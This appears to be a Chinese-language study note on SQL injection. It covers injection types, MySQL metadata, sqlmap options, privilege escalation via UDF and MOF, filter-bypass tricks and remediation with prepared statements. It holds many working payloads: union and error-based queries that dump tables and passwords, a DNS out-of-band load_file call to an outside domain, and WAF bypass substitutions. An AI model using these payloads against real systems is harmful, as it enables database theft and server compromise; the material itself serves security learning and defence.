SQL注入
SQL注入
漏洞原理
攻击者在用户名、密码等输入框中插入一些sql使得sql语句总是真的。如果前段传给后端的参数用户可控且后台没对参数做合适的处理就会触发SQL注入漏洞。
用户通过可控输入影响了sql语句的结构从而使得后端数据库做了不该做的敏感操作。
漏洞分类
在需要考虑闭合的sql注入中,常需要在末尾加上注释符号以消除多余符号的影响,这些注释符号一般是#、--+
- mysql:
#、--、/**/
根据数据类型分类
可分为:
-
数字型注入
-
字符型注入
数字型注入无需考虑闭合,因为在构造sql语句的时候可能是这样的:
select * from 表名 where id=1;
而字符型注入需要考虑闭合,在构造sql语句可能是这样的:
select * from 表名 where name='user1';
对于字符型注入,用户可控的参数就是user1,此时闭合字符就是',做一个判断表的列数的sql语句就是:
select * from 表名 where name='user1' order by 4#';
#会将后面的内容注释,也就是多出来的'会被注释,;不会被注释,它仍然是sql语句的结尾。
根据注入手法分类
-
联合查询注入:使用union进行联合注入
-
报错注入:让页面爆出错误信息,构造合适的语句可以爆出想要的信息
-
布尔盲注:根据反馈结果来判断是否为注入点或判断某些信息是否正确来获取数据库信息
-
时间盲注:通过延迟判断,一般与
if一同使用 -
堆叠查询注入:用分号去将自己要查询信息的sql语句隔开,可以一次执行多条语句,可与其他注入手法相结合
-
宽字节注入:若数据库的编码格式为GBK,则可以通过添加一个
%df与可能存在的转义符\结合形成一个双字节符号,这可以用于绕过\
注入点判断
在疑似注入点的连接或参数后面尝试提交注入语句,只要是与后端有交互的点就有可能是注入点
- get
- post
- cookie
- HTTP头部(HTTP请求报文其他字段)
对于有错误回显的网页,可以采用报错注入的方式,当回显错误,则为注入点。对于没有错误回显的网页,则可以通过构造不同条件语句来看页面是否有变化,页面发生变化,则为注入点
mysql元数据库(information_schema)
mysql 5.0版本之前不存在information_schema 元数据库数据库,该表存储库名、表名、字段名
-
SCHEMATA:存储数据库名
- TABLES:存储各个数据库中的表名
- table_schema:表所属库名
- table_name
- column:存储各个数据库中的表的所有的列名
- column_name
- table_name:列所属表名
- table_schema:列所属库名
sql语法(主要是mysql)
-
运算符(
字符串的比较也是可以的)'<>' 不等于 '=' '<=' '>=' 'and'、'&&' 'or'、'||' -
distinct去重select distinct username from table1 -
between给定范围select * from table1 where id between 3 and 4 -
in指定集合select * from table1 where id in (3,4) -
not否定select * from table1 where not id=1 -
like模糊匹配符号 含义 例子 % 匹配任意长度字符 pass% _ 匹配任意单个字符 pa_s -
order by- 默认顺序排序
- 末尾添加
desc逆序排序
order by 3#按第三列进行排序如果列数超过3列就会报错
-
limit筛选数据limit 3 #筛选前三行 limit 3,4 #从第三行开始往后筛取4行数据limit随着偏移量的增加,执行时间会越来越长,因为第一个偏移量本质上是从头开始扫描,偏移量越大,所需扫描时间越多
-
as别名(字段命名或表命名),可以省略select username as name from table1 # 以下等效 select username name from table1 -
max(column_name)取特定列的最大值、min(column_name)取特定列的最小值 -
exists:判断查询子句是否有记录,如果有一条或多条记录存在返回 True,否则返回 False -
join:连接查询,分为左连接查询(第一个表保留,第二个表保留交集)和右连接查询(第一个表保留交集,第二个表保留),连接的条件用on而不是where -
all和any:ANY 和 ALL 运算符与 WHERE 或 HAVING 子句一起使用。如果任何子查询值满足条件,则 ANY 运算符返回 true。
如果所有子查询值都满足条件,则 ALL 运算符返回 true。
-
LOAD_FILE('filepath'):读取文件,这可以通过sql注入读取系统敏感信息,也可以访问网络资源 -
INTO DUMPFILE 'filepath':将内容写入系统文件中,一次只能导出一行 -
INTO OUTFILE 'filepath':将内容写入系统文件中,一次能导出多行 -
LOAD DATA INFILE 'filepath' INTO DUMPFILE tablename:将文件内容导入创建的表中,适用于二进制文件 -
LOAD DATA INFILE 'filepath' INTO OUTFILE tablename:将文件内容导入创建的表中,适用于文本文件 -
常用函数
select version(); select database(); select user(); select current_user; select system_user; select @@datadir; /*数据库路径*/ select @@character_set_database;/*字符集*/ select @@hostname;/*计算机名*/ select @@basedir;/*mysql路径*/ @@version_complie_os; /*操作系统版本*/ select User,Password from mysql.user;/*显示root密码*/ select length(string); /*返回字符串的长度*/ select length(database());/*可嵌套获取当前数据库名的长度*/ select substr(database(),3,1);/*截取第三个字符*/ select left(database(),3);/*截取最左边的三个字符*/ concat('a','b','c');/*没有分隔符地连接字符串*/ select concat_ws('-','a','b','c');/*使用-连接a、b、c*/ select * from table_name \G; /*人性化显示*/ select ord('a');/*ascii码*/ select left(rand(),3);/*取3位产生的随机数,应包含小数点*/ select sleep(4)/*沉睡4秒*/
注意在使用dumpfile、outfile前需要确定是否拥有读写的权限:
show variables like '%secure%';
secure_file_priv如果不为空,那么就需要在mysql的配置文件中修改为空。
-
mysql(端口3306):MySQL是最流行的关系型数据库管理系统。
-
sql server/mssql(端口1433):SQL Server是由Microsoft开发和推广的关系数据库管理系统(RDBMS)。
不存在show这个命令
- oracle(端口1521)
注入语句
分为两种情况:
- 无闭合,直接添加注入语句
- 有闭合,先加闭合字符(如
'、''、'(),然后加上注入语句,最后加上注释
联合查询(union)
注意在进行联合查询之前要知道表的列数,这可以通过order by进行判断。假如为两列,那么在联合查询版本的时候可以这么写:
union select version(),2
也可以一次查两个信息:
union select version,database()
以下为其他常用的联合查询语句:
/*获取数据库各表名*/
union select group_concat(table_name) from information_schema.tables where table_schema=database()
/*获取表的各列,表名需要自己提供*/
union select group_concat(column_name) from information_schema.columns where table_name='users'
/*获取所有数据库名拼接成的字符串的长度*/
union select length(a) from ((select group_concat(schema_name) a from (select schema_name from information_schema.schemata) b)c);
/*获取所有的数据库名*/
union select group_concat(schema_name) from information_schema.schemata;
/*获取指定数据库的所有表名*/
union select group_concat(table_name) from information_schema.tables;
/*获取各列的数据,需要提供列名和表名*/
union select username,password from users
/*读取文件,提供想要读取文件的路径*/
union select load_file('C:/Windows/win.ini')
布尔注入(bool)
/*注入点判断*/
and 1 = 1
/*注入点判断*/
or 1 = 1
/*判断数据库的长度*/
and length(database())>1
/*判断数据库的第一位是不是字母a*/
and substr(database(),1,1)=='a'
/*判断数据库的第二位是不是字母a*/
and substr(database(),2,1)=='a'
/*判断第一个表的表名,limit 0,1表示从第一条记录(0)开始取一条记录(1)*/
and substr(select table_name from information_schema.tables where table_schema=database() limit 0,1)=='a'
/*判断第一列的列名*/
and substr(select column_name from information_schema.columns where table_name='users' limit 0,1)=='a'
/*判断所有数据库名拼接成的字符串长度*/
and (select length(a) from ((select group_concat(schema_name) a from (select schema_name from information_schema.schemata) b)c))=63
/*判断所有数据库名拼接成的字符串长度,同上*/
and length((select group_concat(schema_name) from (select schema_name from information_schema.schemata) a))=63
判断出数据库名的长度后就可以通过substr一位一位的去使用burp suite去爆破字符,最终得到完整的数据库名。
报错注入(error-based)
如果通过注入页面出现错误,我们可以从前端看到错误,那么就可以使用报错注入。
-
updatexml是一个借助XPath语法去替换XML节点内容的函数,其参数含义为:
第一个参数:XML字符串 第二个参数:XPath格式的字符串,用于XML解析 第三个参数:用于替换的字符串,对符合条件的数据进行替换updatexml的报错的原理是第二个参数不是XPath格式的字符串,通过concat去进行拼接。
注意,updatexml待执行的语句外必须有一层括号,不然会报错
比如:
/*获取数据库各表名*/ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) /*获取表的各列,表名需要自己提供*/ and updatexml(1,concat(0x7e,( select group_concat(column_name) from information_schema.columns where table_name='users')),1) /*获取各列的数据,需要提供列名和表名*/ and updatexml(1,concat(0x7e,( select username,password from users)),1) -
polygon
select 1 and polygon((select * from (select * from (select database() a) b)c)); -
extractvalue与updatexml类似,但只需要两个参数
select 1 and extractvalue(1, concat(0x7e, (select version()), 0x7e)); -
mysql还有一个duplicate group_key bug,当出现重复键错误,会导致部分查询信息被爆出
select count(*), concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;首先是以下语句:
select count(*), floor(rand(0)*2) as x from information_schema.tables group by x;预期结果是执行与
information_schema.tables行数相等次数的floor(rand(0)*2),然后对其结果进行统计。结果必然是0或1,输出的也应当是0和1的统计结果,但实际上,它们会报错:ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'可以注意到,上面爆出
'1'重复了,这是一个字符串,而1又是floor(rand(0)*2)的结果,可以拼接一下把想要查询的信息和1一起爆出来,因此也就有了:mysql>select count(*), concat(version(),floor(rand(0)*2))x from information_schema.tables group by x; Duplicate entry '5.5.44-0ubuntu0.14.04.11' for key 'group_key'mysql的版本信息被爆出
-
函数exp也会报错:
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(1000)'适用版本为mysql:5.5.5~5.5.49,因此可以借次爆出信息
select exp(~(select * from (select database()) a));这里必须要嵌套,否则无法爆出信息,因为这里是先查询数据库名,之后才进行exp的运算。
-
函数pow与exp原理相同:
select pow(2, ~(select * from (select database()) a)); -
还有power:
select power(2, ~(select * from (select database()) a));
时间盲注(time blind)
/*如果数据库名的长度大于1,则mysql延迟5秒返回结果,呈现在网页上就是5秒后显示页面*/
and if(length(database())>1,sleep(5),1)
/*md5('a')表达式执行10000000次*/
select benchmark(10000000,md5('a'))
基于if和benchmark反馈的延迟去判断一些信息是否正确。
堆叠查询(stack)
堆叠查询其实就是一次性执行多条sql命令,与union相似,但会返回多个结果集合。堆叠查询的标志是;,它表明当前sql的结束。
当我们使用;强行结束上一条sql语句,并添加我们自己的sql语句,就会造成远程sql命令执行
堆叠查询拥有局限性,并不是每一个环境下都可以使用堆叠查询,可能受到API或者数据库引擎不支持的限制或是权限不足
带外注入(Out-of-Band)
OOB(Out-of-Band)带外通信注入与之前的带内通信相比(发送请求,返回结果都在同一条信道内),需要借助一个额外的服务器用于获取带外信道数据。
无论时时间盲注还是布尔盲注,都需要发送大量的数据包去判断数据,很容易导致被waf封IP,如果条件允许的话,可以使用dnslog进行快速的数据外带。以Mysql为例,通过dnslog外带数据需要用到load_file函数,所以一般得是root权限,并且secure_file_priv得为空。
带外注入使用的是unc(通用命名规则)协议
dnslog
-
从dnslog.cn获取域名
-
带外注入payload示例:
select load_file(concat('//',(select version()),'gyar7p.dnslog.cn'))当注入成功,数据库的版本就会被带入
gyar7p.dnslog.cn的子域名
http头注入
-
User-Agent注入
-
cookie注入
-
X-Forwarded-For注入:XFF头用于记录请求端的真实ip,某些网站会将其写入数据库或者文件中
-
Client-IP注入
-
Referer注入
-
Host注入
二次注入
已存储数据库或文件的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。
网站对我们输入的一些重要的关键字进行了转义,但是这些我们构造的语句已经写进了数据库,可以在没有被转义的地方使用。可能每一次注入都不构成漏洞,但是如果一起用就可能造成注入。
比较典型的例子就是由于数据库截断或者没对注释过滤导致的二次注入,这种二次注入在用户密码修改时可能导致其他用户的密码被修改
如下:
用户名:admin x
密码:123456
当注册成功,如果没有禁止插入超长数据,上面的数据就会被截断然后写入数据库,一旦数据库对长度有限制,可能导致实际存入了
用户名:admin
密码:123456
如果数据库中本身存在admin这个用户,那么再次进行sql查询该用户时就会出现一些逻辑问题。
还有一个例子,假设在注册的时候会对关键字进行过滤,比如order by被过滤,而在登录的时候没过滤,注册时注入以下数据可能会导致二次注入
用户名:admin'
密码:123456
由于'未被过滤,注册成功后并在登录时注入一些语句就会注入成功
自动化注入
-
如果为Get请求,只提供url,其中url中应包含可注入的参数,其他参数可有可无。
sqlmap -u "http://192.168.194.152/Less-1/?id=2" -
如果为Post请求,提供url,和POST提交的完整数据,即:
sqlmap -u "url" --data="POST提交的数据" -
如果有必要,可能需要设置cookie以避免被cookie验证登录状态拦截
sqlmap -u "url" --data="POST提交的数据" --cookie="cookie值" -
其他参数
-
--random-agent:设置随机user-agent -
--proxy=PROXY:指定代理连接url -
--tor:使用匿名网络 -
--technique='param'使用什么技术进行注入param 技术 E 报错注入(Error-based) U 联合查询(union query-based) S 堆叠查询(stacked queries) T 时间盲注(time-base blind) Q 内联查询(inline queries) -
--tamper=py文件:指定脚本进行绕过
-
-
获取信息
-
--tables:检索有哪些表 -
--passwords:枚举数据库用户的hash密码 -
--current-user:检索数据库当前用户 -
--current-db:检索当前数据库 -
--columns:枚举当前数据库所有表中的列 -
--schema:枚举所有数据库的所有表的schema -
--dump:导出当前数据库所有表的数据 -
--dump-all:导出所有数据库所有表的数据 -
--dbs:查看所有的数据库 -
--sql-shell:返回一个执行sql语句的界面 -
-D:指定数据库 -
-u:存在注入点的的网址(最好加双引号) -
-T:指定表(最好加双引号) -
-C:指定列,指定多列用逗号分隔 -
-v:指定探测等级0 只显示python错误以及严重的信息。 1 同时显示基本信息和警告信息。(默认) 2 同时显示debug信息。 3 同时显示注入的payload。 4 同时显示HTTP请求。 5 同时显示HTTP响应头。 6 同时显示HTTP响应页面。 -
-r:指定抓取到的包来检测是否存在注入 -
-p:指定参数注入
-
- header(user-agent)注入
- header(referer)注入
sql提权
mysql提权
-
必要条件
- 具有MySQL的root权限,且MySQL以system权限运行。
- 具有执行SQL语句的权限。
-
获取root密码的方法
- 查看数据库配置文件
- 下载mysql安装路径下的数据文件
-
提权
-
udf(用户自定义函数)提权
-
mof提权
利用了
C:\Windows\System32\wbem\MOF目录下的nullevt.mof文件利用该文件每分钟会去执行一次的特性,向该文件中写入cmd命令,就会被执行
补救措施
当发现服务器被使用mof提权,解决继续执行系统命令的方法:
- 先停止winmgmt服务:
net stop winmgmt - 删除文件夹:
C:\Windows\System32\wbem\Repository - 再重新启动winmgmt服务:
net start winmgmt
- 先停止winmgmt服务:
-
启动项提权
-
MySQL提权的三种方法 - FreeBuf网络安全行业门户
攻击存储过程
存储过程和udf很像,但必须使用CALL或EXECUTE来执行。
- xp_cmdshell(sql server):命令执行
- xp_regread:操作注册表
- xp_servercontrol:允许用户启动、停止服务
- 等等
除了利用存储过程攻击外,存储过程本身也可能存在注入漏洞
Bypass
常见绕过技术
注释
-
id=1 uni/**/on sel/**/ect md5(123456) -
内联注释:
id=1 /*!and*/ 1=2内联注释的作用是增加SQL语句的可移植性。比如,将MySQL特有的语法使用内联注释的形式来编写,在这种情况下,MySQL可以正常的解析并执行内联注释中的代码,但是其它的SQL服务器则忽略内联注释中的内容。
如果在!后面添加版本号,则仅当MySQL版本大于或者等于指定的版本号时,才会执行注释中的语法。
编码
使用url全编码,而不是普通的url编码,如果waf只对输入解码一次,那么就可以尝试编码两次
大小写绕过
关键字或函数大小写
双写绕过
关键字或函数双写
Latin1编码
mysql表的编码默认是latin1,如果设置字符集为utf8,在注入时使用utf8有而Latin1没有的字符,Mysql会直接忽略这个字符,这就会导致mysql表任意修改。
比如修改用户密码,知道用户名,然后在用户名末尾注入一些字符,然后Mysql会认为要往表中添加新记录,但实际上并没有,这些字符被忽略且一旦添加成功就会修改用户的信息
注入的字符范围在%c2-%ef
宽字节
当数据库的编码为GBK,且在后台使用addslashes()、mysql_real_escape_string()或者是其他转义函数对特定字符使用\进行转义,那么就可以采用宽字节注入,其关键点在于将\吃掉
| 被转义字符 | 被转义编码 |
|---|---|
\' |
%5c%27 |
\" |
%5c%22 |
\# |
%5c%23 |
\& |
%5c%26 |
\\ |
%5c%5c |
%df%5c在GBK中是一个汉字,因此,在构造sql注入语句时,只要将%df(字符处于%aa到%fe均可)放在可能会被转义的字符前就可以绕过。
在使用addslashes()时,我们需要将mysql_query设置为binary的方式,才能够防御此漏洞。
php中的iconv()在进行编码转换时也可能存在宽字节注入漏洞
http参数污染
单次请求中,攻击者使用多个具有相同名称的参数,不同的web容器对此有不同的解析结果,根据解析方式可以尝试注入
| 服务器中间件 | 解析结果 | 举例说明 |
|---|---|---|
| ASP.NETI IIS | 所有出现的参数值用逗号连接 | color=red,blue |
| ASP / IIS | 所有出现的参数值用逗号连接 | color=red,blue |
| PHP / Apache | 仅最后一次出现参数值 | color=blue |
| PHP / Zeus | 仅最后一次出现参数值 | color=blue |
| JSP, Servlet / Apache Tomcat | 仅第一次出现参数值 | color=red |
| JSP, Servlet / Oracle Application Server 10g | 仅第一次出现参数值 | color=red |
| JSP, Servlet / Jetty | 仅第一次出现参数值 | color=red |
| BM Lotus Domino | 仅最后一次出现参数值 | color=blue |
| IBM HTTP Server | 仅第一次出现参数值 | color=red |
| mod_ perl, libapreq2 / Apache | 仅第一次出现参数值 | color=red |
| Perl CGI / Apache | 仅第一次出现参数值 | color=red |
| mod_ wsgi (Python)/ Apache | 仅第一次次出现参数值 | color=red |
| Python / Zope | 转化为List | color=[‘red’,’blue’] |
HEX编码
HEX编码的查询通常都是针对MySQL和MSSQL Server数据库的,它其实可以看作是一种高级的二进制到十六进制的转换方法,用于通过SQL命令将payload投递到目标系统。payload一旦进入目标系统,它就会从十六进制格式转换回二进制可执行文件格式,然后执行。
如果在查询字段名的时候表名被过滤,或者是数据库中某些特定字符被过滤,则可以使用hex进行转换。
select column_name from information_schema.columns where table_name=0x7573657273;
0x7573657273为users的16进制编码
HEX编码可以配合update注入,当无法报错回显,但是可以修改自己的信息,
函数或关键字绕过
使用函数或关键字黑名单来保护web程序免受攻击,那么只要规避黑名单即可
php后端可能用于过滤的函数:
- preg_replace
- str_replace
- preg_match
通过正则去替换为空字符串
| 符号或关键字 | 替换 |
|---|---|
| and | && |
| or | || |
| 空格 | /**/、%a0、%0a、+(例如select+1,2) |
| # | – +、;%00(php<=5.3.4)、or ‘1’=’1 |
| = | like “模式串”、regexp “模式串”、<>、in |
TAB(水平)(\t) |
%09 |
TAB(垂直)(\v) |
%0b |
| return | %0d |
| , | join |
注意,&需要进行url编码
一般查询语句为:
select username,password from users where id=1
接下来对上述语句进行注入示例,注入的语句为id的值。
过滤 and、or、union
需要使用union进行一些联合查询,那么注入sql语句大致是union select 1,2,value1 from table_name,注意select的列数应与输出结果的列数一致,这可以注入order by进行判断
当union也被过滤,那么可以替换为:
1 || (select username from users where id = 1)='admin'
或者直接注入:
1 || 1
这都将会直接呈现所有的记录,即下面语句的结果:
select username,password from users
总之,保证 ||后面的语句总为真将导致对应列所有记录被导出
过滤 and、or、union、where
注入1 || 1
或者(admin的id为8):
1 || (select username from users limit 7,1)='admin'
或者(admin的id为8):
1 || (select username from users limit 1 offset 7)='admin'
过滤 and、or、union、where、limit
当limit也被过滤(admin的id为8):
1 || (select username from users group by id having id=8)='admin'
当然,同样可以继续注入1 || 1:
过滤:and,or,union,where,limit,group by
group by也被过滤的话
1|| (select substr(group_concat(id),1,1) from users)=1;
过滤:and,or,union,where,limit,group by,select,’
1|| id is not null
正则表达式
这需要去猜会使用什么样的正则表达式进行过滤,如果某些waf开源,那么可以选择去查看其内部是如何使用正则表达式过滤的
代码审计
magic_quote_gpc
magic_quotes_gpc是PHP中的一个配置选项,它的作用是自动对用户输入的数据(如POST、GET、COOKIE等)进行转义,以防止SQL注入等安全问题
magic_quotes_gpc开启时,如果输入的数据中有'、"、\或NULL字符,它们都会被加上\
但是,magic_quotes_gpc也有一些缺点和问题:
- 影响数据的完整性和一致性,因为不同的PHP环境可能有不同的magic_quotes_gpc设置
- 增加额外的开销和复杂度,因为需要对每个输入的数据都进行检查和处理
- 不能完全保证安全性,因为有些情况下还需要使用其他的函数或方法来防止SQL注入
因此,在PHP 5.3.0版本中,magic_quotes_gpc已经被废弃,并在PHP 5.4.0版本中被移除。建议使用其他的方式来处理用户输入的数据,如预处理语句、过滤函数、转义函数等。
默认情况下,PHP 指令 magic_quotes_gpc 为on时,它主要是对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。
不要对已经被 magic_quotes_gpc 转义过的字符串使用 addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。
SQL注入修复
- 预编译:使用预编译的sql语句、绑定变量、占位符,避免用户输入的数据影响sql语句的结构
- 使用安全的存储过程,将sql语句的解析和执行过程分开
- 过滤危险的字符
- 检查用户输入的数据的类型和合法性
- 使用安全函数进行编码和转义,或是从中间件的配置上面入手(启用php.ini的magic_quote_gpc)
mybatis防sql注入:mybatis中会使用#{来做参数化查询,大致原理就是拼接sql时会使用单引号将参数括起从而始终为一段字符串,但对于表名就不能走参数化查询了,因为表名不能是字符串,这个时候只能通过白名单的方式去进行防护
预编译PDO
预编译PDO是指使用PHP数据对象(PDO)扩展来执行预编译的SQL语句。预编译的SQL语句是指将SQL语句分为两部分:一部分是不变的结构,一部分是可变的参数。预编译的SQL语句可以提高性能和安全性,因为它只需要解析一次,而且可以防止SQL注入。
预编译PDO有两种模式:本地预编译和模拟预编译。本地预编译是指将SQL语句发送给数据库服务器进行解析和优化,然后用参数替换占位符执行。模拟预编译是指在PHP端将参数插入到SQL语句中,然后作为一个完整的SQL语句发送给数据库服务器执行。
PDO预编译并不一定能完全防止SQL注入漏洞。PDO有两种预编译模式:真预编译和伪预编译。真预编译是指将SQL语句和参数分开发送给数据库服务器,由服务器进行解析和执行,这样可以有效避免SQL注入。伪预编译是指将SQL语句和参数拼接成一个完整的SQL语句,再发送给数据库服务器,这样可能会导致一些特殊情况下的SQL注入
pdo伪预编译为了兼容一些不支持预编译的数据库,由pdo对用户输入转义后,拼接到sql语句中,再将完整的语句交由数据库执行。这样就有可能导致转义不完全或者被绕过的情况。
报错问题解决
ERROR 1 (HY000): Can’t create/write to file ‘/home/1’ (Errcode: 13)
dumpfile出错,通过chown修改目录的拥有者为mysql即可